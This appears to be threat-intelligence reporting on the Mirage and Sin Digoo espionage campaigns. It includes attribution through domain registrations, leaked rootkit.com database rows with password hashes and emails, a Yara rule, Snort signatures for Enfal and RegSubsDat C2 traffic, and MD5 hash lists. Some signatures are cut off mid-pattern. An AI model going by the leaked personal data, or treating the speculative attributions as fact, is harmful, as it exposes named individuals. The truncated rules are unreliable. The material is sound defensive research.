dDNS provider. Two of these domains shared a common owner's email address, and two were previously flagged for suspicious activity. C2 domain name Owner name Owner email Adobesuit.com nie min dnsjacks@yahoo.com antivirusbar.org white jacks dnsjacks@yahoo.com Echosky.biz tawnya grilth jeno_1980@hotmail.com India-videoer.com india videoer king@hotmail.com Asia-online.us bkpathak king_public@hotmail.com / kings@hotmail.com Table 2. Unique second-level domains. CTU researchers correlated 86% of the IP addresses the dDNS domains used in the phone-home request to IP addresses of subdomains belonging to domains owned by dnsjacks@yahoo.com. Of the remaining 14% that were not directly associated, CTU re- searchers correlated 10% to IP ranges that resolved to subdomains owned by dnsjacks@yahoo.com. Figure 6. Analysis of IP addresses. (Source: Dell SecureWorks) This link between the IP addresses and the subdomains indicates that dnsjacks@yahoo.com owns the dDNS domains. Using historical DNS records, CTU researchers were able to map each of the dDNS domains to a subdomain of a domain owned by dnsjacks@yahoo.com. Figure 7. Details of IP range. In the samples CTU researchers analyzed, the other domains associated with the phonehome activity are asia-online.us, india-videoer.com and Echosky.biz. The CTU research team previously flagged these domains in the HTran investigation and later in the Sin Digoo analysis. The analysis of the Sin Digoo affair indicated that jeno_1980@hotmail.com and king@hotmail.com were connected. From the data the CTU research team has collected, indications point to dnsjacks@yahoo.com being either another alias or an associate of the actor referenced in the HTran and Sin Digoo analyses. Figure 8. A common phone number was found to link india-videoer.com and asia-online.us Conclusion Mirage represents only one small piece of malware involved in an ongoing worldwide campaign. Over the past few years, these campaigns have become extremely successful, and a great deal of intellectual property and company secrets has been stolen from the targeted companies. For companies in the targeted industries, it is important to have a strong perimeter security line in place. Using active intrusion detection and prevention systems as well as DNS monitoring for malicious domains is essential to detecting this activity. Companies that use the Yara malware identification and classification tool for scanning local systems can use the rules provided in the appendix to search for potential infections. Traditionally, the success of botnets created by threat actor groups has been measured by the quantity of infected systems and the difficulty to defend against in the long term. These targeted attacks show that a successful campaign requires only a small quantity of infected systems to accomplish the attackers' objectives and to yield extremely power- ful results. Appendix Yara rules rule Mirage_APT_Backdoor : APT Mirage Backdoor Rat MirageRat meta: author = "Silas Cutler (SCutler@SecureWorks. com)" version = "1.0" description = "Malware related to APT cam paign" type = "APT Trojan / RAT / Backdoor" strings: $a1 = "welcome to the desert of the real" $a2 = "Mirage" $b = "Encoding: gzip" $c = /\/[A-Za-z]*\?hl=en/ condition: (($a1 or $a2) or $b) and $c MD5 hashes 5efd0d7f52890291599c8562e8ea92db eacd03ee55ea7d22b45762c82ae1c0e5 ce1cdc9c95a6808945f54164b2e4d9d2 5326e4fe9fd10e37d46e81c0f6bbf29a b2e821828df59c734c1cc379ef7f3122 875877eedcd9f2d60bf63937fe22073d 02d77cdaa808ded64d09eea732a586cc 18a5c6e92b962bc6512486db94bb17a7 32b33321290ac8011aa218da554b8fa5 f41896e9f77855842380fd9ed795bc64 407c291cd5c73da680fa9af9ec017fff 7adb0f22468c10901bd280b2d8a154b0 abac650ab39c0dd074310710081d715d c9e49c504d5ca953c858d29b7a2acb9d aaa9aae486ee7342d29a0a2f9b0ca205 7ad79f9a0efde6f4673585e400f29f18 f51fbafc652e10a9ce13795d4cb2d449 a748ff9663b2d39a35e4c073b73cd7f6 e7d5ac11903c0217a999a79bc87182d2 1b918c8a40dc4a66430cfec7dabeb7f3 c72d7794dc7f2eda6b44b934fe8fff1c ad2dda9241cd6c0e879ab665d77ce13c ccf34d2ba81de856af8167e73d0c8b69 ebe7699033424b9ef444364bd23ba665 7349c7908a672de885fdf9f9cc4547b5 eacd14ce8414911546cb027a8cb2fecd 4b9723a4060838114e53d1df3fa2537a 070ef82a0bded089b6f996a392ca7b9a 286f7b377f5d0ca3505ed1ba6601c947 4d74a83e2f623f17e17eb95736dc587b a4b9bfc5aa5e37cc613112b9a9dcdb3e fb17ffc7495880a7c19df0ebe5c97ad7 e29ab99be392bb7012f516a2dbfdc00c 8caf2a96e4d7bb83156c260ccc8f47e7 a4ff66224a0967763e1d079c99482577 f0b93bf7273cbeaed69ed55b5169daf7 3be6fea2bf35c3c3be860622c68ff369 5fa26f410d0133f4152ea78df3978c22 3d10e68dec16b1a4bf949e3e403f2dda 5c371a6dfb45f188fe8e6da4fee9300d 9ff3a9ef192453ecec26cf567c579bff 65445b138d80954cc912a6e43fe5b66d 685805936d8744225f8c11965202de8e 80e978d0eea713812f1dd6b4e9b7daf2 921c724ccb04b9f672b294ffff83ce7b 072877b961e31e8792a296c63b9c7b56 1a8bc862ceaa7e05189345065145842a 6794cc6f5e463ee7432b9e718d8c1b8e fdb949112cc72c68fc7c1ea0c65344bc f4a6114fce22eb18b0ccf19cfa68ddba 1045e26819ff782015202838e2c609f7 5640beb540bef2e97ec4366713d533b8 0f93d28964b440c241ca126a7f94dae2 075df4723073ff08cd3e90d2b1f11722 240627a306f32483378e44ff13e12169 5f2a4d865e6e94f7f15571faab5128d6 3bfa7b806ff540cc1c264ec75048fbc4 05a02e08cce99d3821574d8612f757fd d60cfe03bce8647cce723991e2cd2f8c 6ed270da7450945a3a5a05eda8312732 a1083968b78c081135268b6e4e12b1e5 0fce05e2cea6bd9c217373f2ab962d82 85ef19fab3951d4dd56e42b5a9ccdeea 422f1ffe7e5bda7062f005be92fba36e 346aa61b5739e616482a1bc8bb548871 c2661e45ec2198b04b29ec3fd1e120b2 e04e5eb4aefeb326246d7f41d1b50759 eb1aa241b4a482ac44b27ce38eabccb7 418fb9ba2a61bccab3e54ebe0698c4b6 590e68aaaa5c2353b7288f64cc87d9bb 1f9894e730c0f5ba085baae409aa963a 11b76423f450ba610f073e7522eeb56b 54d37fb1f624c798f0b400b4f50f3635 7fda0451e4d320cc34efcaaabedd6824 84fc624f9f5f8de6980497058db1e8e1 964eec615f977b05bc87943ce0942cf9 5069057b799636c012eec38147fb96e6 a4a1670c537861f7d5b0db115a7aa5fa 00b9619613bc82f5fe117c2ca394a328 2219bef789ff73efc0a01f87be03188d The Sin Digoo Affair URL:http://www.secureworks.com/research/threats/sindigoo/ Date: 29 February 2012 Author: Joe Stewart, Director of Malware Research, Dell SecureWorks Counter Threat Unit Research Team "We cannot enter into informed alliances until we are acquainted with the designs of our neighbors and the plans of our adversaries." - Sun Tzu, The Art of War Introduction The story of the Sin Digoo affair begins with a set of Internet domain registrations dating back to 2004. Between 2004 and 2011, a person using the email address jeno_1980@hotmail.com registered several domains using the names "Tawnya Grilth" and "Eric Charles". Curiously, all of the "Tawnya Grilth" domains showed the registrant's physical address to be a post office box in the fictional/misspelled town of "Sin Digoo", California. Figure 1. Characteristics of domains registered by jeno_1980@hotmail.com. In 2006 and 2007, jeno_1980@hotmail.com registered a number of domains under the "Tawnya Grilth" alias that have appeared repeatedly on reports published by various automated malware analysis systems and antivirus websites. The Dell SecureWorks CTUSM research team examined malware samples using these domains and concluded that these domains were involved in a larger pattern of malware-based espionage, sometimes referred to as Advanced Persistent Threat (APT) activity. Espionage malware There are two primary malware families involved with the Sin Digoo domains. One is known as "Enfal", which is short for "EtenFalcon", a string found inside early samples. The involvement of actors using this malware for espionage was first detailed in 2010 in a joint report by the Information Warfare Monitor and the Shadowserver Foundation. The report, titled "Shadows in the Cloud: Investigating Cyber Espionage 2.0," was a continuation of research from an earlier report titled "Tracking GhostNet: Investigating a Cyber Espionage Network." A later report by antivirus firm Trend Micro titled "The LURID Downloader" further details a campaign of espionage by this malware against targets worldwide. Figure 2. Sin Digoo connection to Enfal malware. A second family of malware connecting to the "Tawnya Grilth" domains is less well-known, although a couple of antivirus companies have used the names "RegSubsDat", "RegSubDat" or "Kirpich" to refer to it. A recent variant was described by the information security firm CyberESI in a 2011 blog post titled "India-United States Naval Cooperation.doc Analysis." Details regarding the earlier variant used in the Sin Digoo activity was first analyzed in a blog posting by Don C. Weber titled "Malware Characteristics Report - Trojan.RegSubsDat.A" on his Security Ripcord blog. Figure 3. Sin Digoo connection to RegSubsDat malware Although windowsaupdate.com is not a "Tawnya Grilth" domain according to the WHOIS data, the name is almost certainly related to the domain windowsaupdate.net, especially given the same subdomain naming pattern (e.g., v4, v12, v14). Victim discovery CTU analysts sinkholed a number of the "Tawnya Grilth" domains in 2011 and 2012. Traffic from infected victim computers is now sent to servers that log connections, gather statistics, and notify victims when possible. The initial findings from the sinkholing activity are: 1. Between 100 and 200 computers located in Vietnam, Brunei, and Myanmar are infected by RegSubsDat. Analysis of the IP addresses connecting to the sinkhole show that many are government ministries. Additionally, more than one regional petroleum company and a newspaper has been infected. 2. A handful of victim computers in Europe and the Middle East are infected by RegSubsDat, Enfal, and one other unknown trojan. These computers belong to government ministries in different countries, an embassy, a nuclear safety agency, and other business-related groups. Additionally, there is an embassy located inside mainland China that is infected. The CTU researchers have notified many of the national computer security incident response teams (CSIRTs) in the countries where infections were detected and are continuing this notification process. The notifications include the necessary information to locate victims within the country, inform the victims, and mitigate the infections. Link to RSA breach In addition to the GhostNet link, connections can also be drawn between the malware used in the Sin Digoo activity and the RSA breach revealed in early 2011. According to the US-CERT EWIN-11-077 bulletin, a number of command-and-control (C2) hostnames used by RegSubsDat shared three different IP addresses at different points in time, with one of the hostnames known to be part of the RSA breach. This C2 hostname was used in a piece of malware known as "Murcy", which was detailed in "Command and Control in the Fifth Domain," a 2012 report by Command Five Pty Ltd. Figure 4. Connection between the RegSubsDat malware and the Murcy malware. All three IP addresses belong to the China Beijing Province Network (AS4808). Although the RegSubsDat and Murcy C2s shared these IPs a few months apart, the fact that three IP different addresses at the same ISP overlapped in a short time frame seems to indicate shared infrastructure used by both the RSA breach actors and other actors using the RegSubsDat malware. AS4808 is known for many other connections to malware and is considered by some to be a hotbed of espionage C2s, especially the 123.120.96.0/19, 114.248.80.0/20 and 114.248.96.0/20 subnets. These subnets have been seen in DNS records for hundreds of C2 hostnames for dozens of custom malware families, either known for or suspected in espionage activity. The RegSubsDat asia-online.us domain was registered by an unknown actor using the email address king_public@hotmail.com. A 2011 blog posting by "Cyb3rsleuth" traced this email address to a social media profile created by a person living in Beijing named "Wang Liang Chen." The same email address was used to register many other RegSubsDat domains as well. The social media profile for king_public@hotmail.com has since been deleted. Tracking Tawnya The same type of open-source intelligence can be used to gather information about the jeno_1980@hotmail.com actor. One domain registered by jeno_1980@hotmail.com is "socialup.net". This site describes a "like exchange," which is a service that Internet marketers can use to promote a story on social media sites like Digg or Reddit. Figure 5. Screenshot of the socialup.net interface. This type of service falls under the category of "blackhat SEO," a term for a variety of techniques for manipulating search engines and social media sites for marketing purposes. These methods are considered "blackhat" because they usually lead to a site or user being banned from the search engine or social media sites if the manipulation is discovered. The socialup.net website has been repeatedly promoted on blackhat SEO message boards by various personas, including one named "Tawnya". Figure 6. Example of "Tawnya" promoting socialup.net. Once a user signs up with socialup.net, they can earn virtual "coins." The coins can be used to promote the user's websites or social media posts, either by viewing ads or liking other users' stories and links. A user can also buy coins from the owner of socialup.net using PayPal. Figure 7. Example of interface to purchase coins. As part of the PayPal transaction, the potential customer can see the payee email address. In the case of socialup.net, PayPal's website shows that the payment for the socialup.net coins is sent to an individual with the initials jzd. Figure 8. Order summary for coins showing payee information. One of the other "Tawnya Grilth" domains is "i-tobuy.com". This domain was registered in 2004 using the jeno_1980@hotmail.com email address and "Sin Digoo" location, but the nickname "xxgchappy" is also shown in the registrant contact data. Figure 9. Registrant contact data for i-tobuy.com. Another domain registered in 2004 using the "Sin Digoo" location was "1stsale.net", registered to a "john twk" with the email address xxgchappy@vip.sina.com. Figure 10. Registrant contact data for 1stsale.net. There is a profile on a Chinese programmers' forum for an "xxgchappy" user who has posted two different email addresses in different messages on the site. These addresses are xxgchappy@vip.sina.com and @sina.com.cn (address redacted). The user's name is listed on the forum's profile page for "xxgchappy" and contains the initials ZD. Figure 11. Profile for xxgchappy. Figure 12. Tracing the connections between socialup.net, i-tobuy.com, and 1stsale.net. Several clues on the Internet point to xxgchappy, or ZD, having a working knowledge of computer programming. The use of the programmers' forum, along with postings to that site, indicates he is interested in code related to hooking Windows API functions, a common technique used in malware. Additionally, both xxgchappy@vip.sina.com and king_public@hotmail.com were the listed email addresses for users of the "rootkit.com" site, revealed when that site's database was leaked in 2011. A "rootkit" is a program used for hiding traces of malware on a system, and rootkit.com was a forum for discussing the latest rootkit technolo- gies. However, simply having an account on rootkit.com does not imply one is using rootkits offensively many anti-malware researchers were also members of the site. There are some interesting clues in the database table for both users. The nickname "Jeno" appears again in the rookit.com user database entry for the user with the email address xxgchappy@vip.sina.com. (7523,'Jeno','91cec994','Jeno Alix','xxgchappy@vip.sina.com',1,0, '','','','','','',0,'http://www.rootkit.com/usericons/Jeno.jpg','' ,1265784473,'123.6.89.98',0,0,0,1265721022,0,0,0,'','0','','','',-1,''), (23025,'king-rose','e211f11c0b28434bf7f1c8fb510fa9ae','Club-tom', 'king_public@hotmail.com',1,1106582903,'','','','','','',0,'','' ,1106837367,'61.51.59.63',0,0,0,1106583113,0,0,0,'BH','19800126', '','','',0,''), Figure 13. Database entries with the xxgchappy and king_public email addresses. In the entry for king_public@hotmail.com, we see the nicknames "king-rose" and "Club-tom", but even more interesting is the password hash "e211f11c0b28434bf7f1c8fb510fa9ae". This password hash appears in only one other entry in the rootkit.com database: (20446,'king-z','e211f11c0b28434bf7f1c8fb510fa9ae','k,z,y', 'wzy_100@hotmail.com',1,1097652186,'','','','','','',0,'','',1284013010, '123.120.127.153',0,0,0,1284013010,0,0,0,'','','','','',0,''), Figure 14. Other appearance of the password hash associated with king_public@hotmail.com. From this evidence, we can deduce that "king-z" is a second, earlier account of king_public@hotmail.com, created using the wzy_100@hotmail.com email address. Even more interesting is the 123.120.127.153 IP address the king-z account used to log in. This IP is located inside one of the AS4808 netblocks famous for espionage activity. In fact, it is remarkably close to 123.120.127.159, an IP used by Enfal C2 v2.windowsaupdate.net (one of the "Tawnya Grilth" domains) on September 27, 2010. The last account activity for king-z as shown in the rootkit.com database is September 9, 2010. This data strongly suggests that king_public@hotmail.com is not just a stolen account used to register a domain, but that the user is involved in the espionage network in some manner. The password used by xxgchappy@vip.sina.com does not appear elsewhere in the leaked rootkit.com database; however, another leaked database may provide additional clues surrounding the xxgchappy personality. @sina.com.cn (address redacted) email address associated with the user xxgchappy can be found inside an archive posted to the "hackchina.com" website. xxgchappy # 2710 # @sina.com.cn Figure 15. xxgchappy reference from the hackchina.com website. The archive contains a denial-of-service attack tool called "lankiller". Inside the lankiller binary is the following comment: Designed for lyh by xxgc-happy 2002.3.8 Figure 16. Reference to xxgc-happy in the lankiller tool. Also included in the lankiller archive is a README file that describes the use of the tool. It asks the user to email the author at either @sina.com.cn or happy@sohu.com.cn. Figure 17. Email addresses referenced in the lankiller README file. There is a profile for "happy" on a Chinese video site showing a possible photo of the user. The photo is of a man who appears to be in his early twenties and of Asian descent. Conclusion The Sin Digoo activity is only a limited view into a very large amount of espionage-by-malware that is happening in the world. The Enfal, RegSubsDat, and Murcy malware families possess dozens of defunct and active C2s, and these three trojans are only a tiny subset of the malware families the Dell SecureWorks CTU research team knows to be involved in espionage activity. Collaboration between government, espionage malware victims, and the computer security industry must improve to better defend against this undercurrent of activity that threatens to undermine an already weakened economy in countries around the world. Appendix A Network IDS signatures alert tcp $HOME_NET any -> any any (msg:"Enfal Trojan Activity"; flow:established,to_server; content:"GET|20|"; depth:4; pcre:"/^GET\x20.*\x2ftrandocs\x2fnetstate*\x20HTTP\x2f1/"; reference:url,www.secureworks.com/research/threats/sindigoo/; sid:1111111111;) alert tcp $HOME_NET any -> any any (msg:"Enfal Trojan Activity"; flow:established,to_server; content:"GET|20|"; depth:4; pcre:"/^GET\x20.*\x2f(category2|data\x2fforum|httpdocs\x2fmm|trandocs\x2fmm).*[A-F0-9]{2}\x2d[A-F0-9]{2}\x2d[A-F0-9]{2}\x2d[AF0-9]{2}\x2d[A-F0-9]{2}\x2d[A-F0-9] {2}\x2f(showNumber|WindowTask|ORDERTIP|ComMand\x2esec|Cmwhite|ComMand\x2esec|Command.txt|Query.txt|sunrise|Tiblue|Trblu reference:url,www.secureworks.com/research/threats/sindigoo/; sid:1111111112;) alert tcp $HOME_NET any -> any any (msg:"Enfal Trojan Activity"; flow:established,to_server; content:"POST|20|"; depth:5; content:!"|0a|Referer|3a20|"; pcre:"/^POST\x20.*\x2fcg[az]\x2dbin\x2f(Clnpp5|CMS_ClearAll|CMS_ListImg|CMS_SubitAll|dieosn83|Dskx8|Htrc3|Info|Owpp4|Owpq4|Rwpq1|Trpq8|Trpq8|vip)\x reference:url,www.secureworks.com/research/threats/sindigoo/; sid:1111111113;) alert tcp $HOME_NET any -> any any (msg:"Enfal Trojan Activity"; flow:established,to_server; content:"POST|20|"; depth:5; pcre:"/^POST\x20.*\d{6,12}\x2ephp\x20HTTP\x2f1.*\r\n\r\n[a-z0-9\x2d]{4,15}\x3a[A-F0-9]{2}\x2d[A-F0-9]{2}\x2d[A-F0-9]{2}\x2d[A-F09]{2}\x2d[A-F0-9]{2}\x2d[A-F0-9]{2}/s"; reference:url,www.secureworks.com/research/threats/sindigoo/; sid:1111111114;) alert tcp $HOME_NET any -> any any (msg:"RegSubsDat Trojan Activity"; flow:established,to_server; content:"POST|20|"; depth:5; content:"|2f|log|20|HTTP|2f|1"; pcre:"/^POST\x20.*\x2f[A-F0-9]{6}0000\x2flog\x20HTTP\x2f1/"; reference:url,www.secureworks.com/research/threats/sindigoo/; sid:1111111115;) Appendix B Malware hashes MD5 signatures for Enfal 0144f8d76662fc382b8eb094eb347e4b 01a5adace93ad5afac400f9589b62607 027d7db3d2a94bb0dfadc71300aaee3e 02857b2b6cc5aa750dbfb6a1088a5239 035f2e58144209ea9973bbe4cad58e15 04cb272bbe383707574005a2999f2fe0 054688eb39ea0cd380bb89b6746abc4f 06572d93d87a8d0fb7e070be79692c87 066be8f9e08acfe8ab1eecb884a73801 071d01bcaadc9df5683a6cfa81736714 084e99653956350210beb13c8ea43c79 09c44fcceb51f9affdb63b0d8f9e4b31 0a5446da47609868101c773e928b36e4 0bbd1f253e928cafa3c9c78cdaa849bd 0c589418274ba97663853d1c6bef3bd1 0ecd791525cc30ced610e81ef67290b0 0ed85a30083fb71452916e14a4b5936a 10162681b64c72834621c6fd68b6501f 106db67336a318b6ee4f3197027df85c 113a066b19737b59ab1e2ad921cf3a03 113bea934d89d0cfdc445489f0eb713d 11696e0f7399986c4978e35f3160c22b 1175fff7b282db3b2b0c8c9517bcd937 11cf5c71ddf9a666d9b470dff21c4ec5 13d82eaadf0a5f6fd2d76b66673efa91 140c69ea9a963100e75497b33820f1da 164e3c7488b70d6db28cf71cbc72b0c2 173ec685aa9f581a03c30866b5021574 17810c2ad162c4726729b3fc3ae8676e 184f2de39a9fcc0039eb9df09c4e75b8 19cddfee52c7b7adf4d5dd3e98e0b0bd 1c1f7b32d5381335b83af545b9eef101 1c2aab24d699c24cec860e73c767bce7 1e95875e6c0f054b62c94d6063ff9eed 1f91d940c42f216cf95e724a034802db 1fa520329a77d01aaaf5808ddf529ce2 21b761b4401d290b9e02fea87f2a9933 2370a2142bc61c520226d188e102a727 241aaa7d73339c1624a27fcce5d1815d 24decc7e98e67e3a6e5d34f284f79124 25710d277596d09e5607f419eb63e11d 272fffde11c97b31cf9de7c1e1816d61 276495490cf16318735f880785203378 2880436cf619a270e6c31d9da6eb426b 289242778ef037e02106a491de38cc1f 2944e486b252112720098860a91788e0 297158cfce8fc76789ca41899f6047ac 2ae27d10e04d229c937c0363c29ed3e8 2bc74b3aff2fd68eb38820bb0760f3a6 2bfd304e3433cb0de9c2f284e9417409 2f2f61d3b8f5064affb11e67ae6320b2 2fd6e2c7fc80ab9a6be6a0eebd09763e 2fdaa46fff13f87dcc22fb9aef9ba338 300dcc10df87a998b08dddd2dbc55a28 30971caaf134d7706c70335f54e3188f 30d075afef4e518f63c0b43b8c764e12 3270d18157131f216468cf7ce53ee8d1 331140c7ffaea93ed807f86720b5929e 331acc687cf2b93fc7bfed257ea54488 33eb9e349ec9e093c54028e7c1cd8b0a 340c9de8ff62134bb0e51c24c0919576 343cef9a8d83afca81918fc317f3ccb8 3447416fbbc65906bd0384d4c2ba479e 34563d4ccf2fdd8a08b05089d82a803b 347906343329916ace3636a541c96f26 34f53d0b59f7cf352aace044abf95df3 35369bf701904b17725429e8cb938645 35ca158ffd5965d68f7ef64ee527a028 3603c2b0262ed71402fe981991ddd614 367459c45eec216b6858e7b2f91e0c99 36b1f9def6a794ae0be8148d149e5fe7 36d10e8d5e95bcfed701df530de2a917 36dccde0de343af9e7f08128900334f2 36e8c4f5b906e2e4cc3d5e64b79b8642 374b6371918ab0ba91e9f3489e5eab19 39762af48276967a54372dca1f89936c 3b159b70f6f6e66db77dd6b57f04ec2f 3b5fdfff3f49f0231586dd4fcca7c25d 3c1c15ac3b1bf3787137685637e33140 3d176273201bb6f07746cd7c5c46166c 3d69e2b0257cebf9bc1a6f788f45fbcb 3e27d880674149d2548b5b36d22570ff 3fd66bcecc804913a016827eba28897a 427259dc60c10ca5586da8d76139cc92 42899a14835c5702af3c2f0abaf64429 4413e592ad3c072fa300f526b83bb644 442c0e4bda0035c34e767d429e7f821b 443ed084c7bb1687825670d0293d3482 453963093fa87f1ecd9be2691d080b0c 45b8270e80fcaa229cfe8e4baf15d9c2 45d07b1a0a6cea3035d448e384b59252 45f565e1b73e723ade1838e2c78867a6 46548ef50b1d64909f77a484bac66de6 46679d05a02e065a5f082d86d7635488 466cbf76ccf76e0a2fb309e9e8433bce 46a9e994658fe49e892c5a5d5740b58a 47bc44ccd673760918c99856a053aca0 48a4a92443dd2595806e9afd76275ea0 48ccdc7a5eec2a0240b28534d501eebb 4943c536c8b06044456af9971a0f54eb 499ad52953d3e12ebcda3f4eec3cad4f 49e0df6cb8abc6d4554829f2cc77ad75 4a828744a96d739815ff40d54bc9d022 4add8281a028c6ea76d369186f787004 4b835d7b89f754f72fa712fd281aa51f 4bb3264ddb68e096bbd11721fea3d2e2 4bc96cf2a63f4bfbc5f24c07329d986d 4cb5033c2b4e19872d2fb98dc9678362 4d84bd418da17f01298df489c251464f 4dc08c921bc81ce89aae397eaa049dda 4f862e38b7db5beebacff59a751b0f59 5098b3d6211a17f315fb33b17e37c9b1 50ecc77c6c831bcd7e0534353f61c479 514c992b5af684efb08ada784f36bce7 57ffbe0560b61ef7da39a29049dfdc45 5b0d5ad64256811a7e8be472f3492d2d 5b382d58d6a890ce696494c304242625 5c26947e42381afa8459b6a91308662e 5c2ebee0d8748e926d015d07c434b409 5c920ea7042f820f46ca8bdeb9a17519 5ccdc66a50b3b101d4038ab23b65196f 5cf7669f0b64b0780159cae4275e75e7 5dbd2ed78f47fd75112b5b8d9a5a2a7d 5f76d78402be896288284c18407957b2 5f84282c7ee466e777665ef72fa258b5 61792bb6aa26ce5e826ee300977825c1 61a605dc9bfcbdc382f528607115b8f1 629dc2675a940e6fd0cfd778f2c3149a 630e9ced15a16aaa464b73481297f40f 63d33065354038eec8b8a386d5bf45bf 6680e19b115c88416b13b5985bf2c32d 66fc71e3f35b3ef21cf524c3be92708c 67ae7ca090aed3841ca1c0ec85d26d2c 687cfc99f09f1cb9b1915135bc57fbbe 68a3e1c03a0ce92a648eea823bfcdd4d 690e6208ccfc960c71175e43c75deee1 6979c05ff1682c6bcff2da5f20350388 69f8825118ea8ab1c671c28298c592aa 6c1fa0a523a751b8d588b75814a46759 6e8994d01ab6837e6baeedbfd9bf45b2 701d95d5d716a726a4316d7352938510 70cf6edb22a2fd5fee7665ad1a260b39 70f167e43ba0c4df744601ace41d29fb 71313fcf3d825ba40375cf62f4777e10 719b1d9e93a6fe2fe0918f029990fbfd 72b9b505ef199fee23db350d6e096340 73802e2bb0c7f821f0959e9a424be35b 744670ca4531f7ceb72a75ae456e8215 74cb2fc990adf24f1da265dd14737d48 7547a4e39ac61eae20c79fa3834d8e2a 7578feae5abb684e691e44a1c82d0b78 7769907450c95de213567408d1c3eb32 79a160fec8c1e34b0188e034dffccfa5 7a1d4cba9ce2a28ef586c27689b5aea7 7a72460b0f3caeaa9a0dd5aa252a3dd5 7bd2cf1a96fe27c301111785799233ea 7c2258469a87138a94eb1a15578df9c1 7c9836391eb08e1cfa33dd1094d2f993 7db483b6dfb3952ce9c29b7bf26e662b 7e0d522932460ea1d9a88a82980b1234 7fd3760a10a79397da3e7f2531a3c165 7fec0946aa04ac5f96c8633565a503a7 80398a1c31cb0fad735d051f22865204 8042b3849217de1ee9181ee9c7338df8 80450d1256eddeece918ef02e9dedcd5 80a8635e966a5fb6924cfd92d18b1829 8198751a915561b30a607b1d2a651f73 81df7dca8b3bb3ae964fa8cfd82de413 81fa811f56247c236566d430ae4798eb 8279af9adb9dcde15f67e4938a32e460 83046fb020b98d6bdc59b6d3135fa293 8330e398c976797e86e23110255774ff 839ead900d516a2fe9ec7dc68c6f91dc 84356ed469c95c1418209bd929640622 84484706048822c4a483d9cdd4ae6136 845f298eeec87f92302146aba04ee108 84a201fa44c3675687ad2b9e3cf0adc1 84b8488ce8d20cab10fe10973429d1b3 84d24967cb5cbacf4052a3001692dd54 85639dd697e36a7eeb7e84e6ddccda46 856de08a947a40e00ea7ed66b8e02c53 858941e84af0d2a102b26497c22265c4 875b9628aee0a7108929ecd57f7e771d 89b61f9100b8135d7356fa864598be7f 89ffcc729bf4b89a298b0dd317228646 8bfc2763ec3141e6215fe9958607b895 8c6d058e3c821ca141cbbbcfe7afe8e8 8ec4fc310915b6db5d62ff476d95fc87 8fbc2220e1f505d3312542ccab2cb103 90506693e1df8190ad657d519551472d 908c8475c451050599909b0212857bbe 90bf1a608159df6c4f11f6366cecb998 912aad79475fd457165b3ae8c362203f 9133dcec65eb468ce226e1fd8accaf4e 923d3c72026a56bb9bc54843a6016854 925cbbd8060770e9175ce0433f03ad81 93cf1393241577797b36d707d4255faa 9604700eb71a14a540ba65429d2f75cd 97769f938619bf888a2750b4f079a134 9883cee2f281ae23c4929e0eba313876 9929a8ba088ec944b07c20e0d38d4355 996cdae702fe1f0b7555764c3f4daadd 99a0e8f84028813def520a9a7791635d 9a09e5acd4050a68ade420fcc79c6c66 9ab8cc0bd5facd7fed939ae8715c0f2f 9ac42be9c350de30415f73471b7ced64 9c909e8f3fdf46d1ab0246218f83dc71 9cc962a7f637aced6117aac78f74bdf5 9d001213c967234aef5207971b3dc084 9d0bc24173b98630f45f6cbb5aef048b 9dda46f5b3be826bf427ad6bbd8171ae 9fe79a8d9901cf773d272b0578c818c7 a03c312ad0309c02e29f3be32738f753 a1a977867a889be58767f3224806aef3 a25a0621c0381bdfe32b3f2ea6975f18 a4cc686615d113aa18e2f984a4d69dc6 a64e9189f49db0c1a1ae53891c8a69ef a6d45978a7736e6265f0243bb14a4f1d a6e2d6112100869191f20f49408c9459 a714c1df854f966161192b77ff2f4cd4 a78f479adda756ecea71246b6398ac4b a83fc05a18e18ba19e93a75ffa6ebd50 a99fb261722f271234c872451512c67f ab5d5a99c171d3e69490a9a7fbe3645f ac1d99f4751ae8c28c452ae96d6bc800 ac7eccfce8dd486b830fe85dacaf35e8 ad7f7ce329139ccc252ed75704de2eab ad92cbb5e3522fc4bfc15732284020d0 adab08e09dec4437be49a9346244375a addd471dcbff1b125f993343a27819a7 ae4c9c1f16fbe20dd78da605f2091ad3 ae60f66d33259207e54ce03416c10adc af5d3789bb5220553e7fc0d115be4655 b2c52b2078060c0d8dfe3f9c84ab0f1a b60c862f6435247c21c7d2d05d804248 b9685cc3d0069135696fe51fd7258aac ba2532bc122c881bfe4ddc39da1dfdf4 ba3324571e0f962e4d6aced7832f4d3f bdfb76d4dd25ee3b4d36172a3c3cd98e be7d72c4bb76831089176dd90188ad3e bf0ad3625fd7cd2c8a7ba3fa74bf1605 bf35c5cb6763679914f267be25a54601 c0c04f41a823cdb4055b109dbadddd18 c1a8179ef14ae95d809179185bcc269f c1ab14ce4612256bfc93c7b97e5f8353 c2b975caad371568904a04bbb9bf6e17 c3053ece751f9c0b2595a6d9350f48cf c39183372160e75c7083a5c9eac68124 c3bac79122923eac3f1fd48c5775465d c47fe9b7a3b72937adeb665432aeeff5 c4a6b6cf35ebed6d46eb5728a6247448 c524005b6f98f5428c228a9577e20f91 c576be490ae4b095149114b34c96c6a9 c5da1da605a6bfc4bf99721e6d665b8d c6e5277717d0aa2ecd96e9ca06b195d1 c729c36ad0e32be7b23ad022ab8de27c c7a7c668d4e5c80605bac305799d6ff2 c8a1c24bcd91ca21e89888e418153472 cd5ecadb214f3697d3c77e42c80aff71 d030c4df015cff67353065c0f7198058 d0b9b5889b3bc49ce4c4f942eef7e39f d0d614ca7bf6745ad52910da8a672e1c d1568b36e55fae5eb1b7a2ae3b9294f3 d1f641b6dd8861598af23557a7a52a3b d414ce56e89e1db9df28c3dd388a8249 d415b7a5d328e32a0c383ce3889468af d4baba6857f3682eeb8ae6f83cc9a271 d4f1188e75c55444a191649c4b4e1362 d541a9cca5288876676aae2ab962997f d57379739354b204898149b456e732b3 d68d241572a8ffdc8a2e481c96baacfb d837313adef94c3b173e0a9128896250 d84ecca01839642a27d29f885b885ff1 d8815fe64eb5321add412554908da28a d8ca81ee8327d8314121d1560800674c d8f21a32f7d33b1b6b5e948029410eb4 db3d36f3f8386f993a89c9bba25cbeaa dd260e8a5462304621001dd3c12e4aa8 ddedcf6f543104a3485406d66068e263 dec5441851026a66a4ff0cfd008983c0 df87fe27fcda6906ae248663e0c62861 dfa055d94e59afa791b0f99ff82b54a6 e0417547ba54b58bb2c8f795bca0345c e1833932053171da15c60e6c2fca708a e21c8e1c3e79d669f13f771dbbe0eb77 e22632b517305aab6ba9691507d1d562 e31912492ef1edae863b34a96d8c529e e38d44d1a226b9c1ca70a3e78beaf735 e3ead43315bcc851656805922309744f e5d96aa540dd934aec72dcecafd366b8 e5ea0c7a48967202f25fc96d91a1a2cb 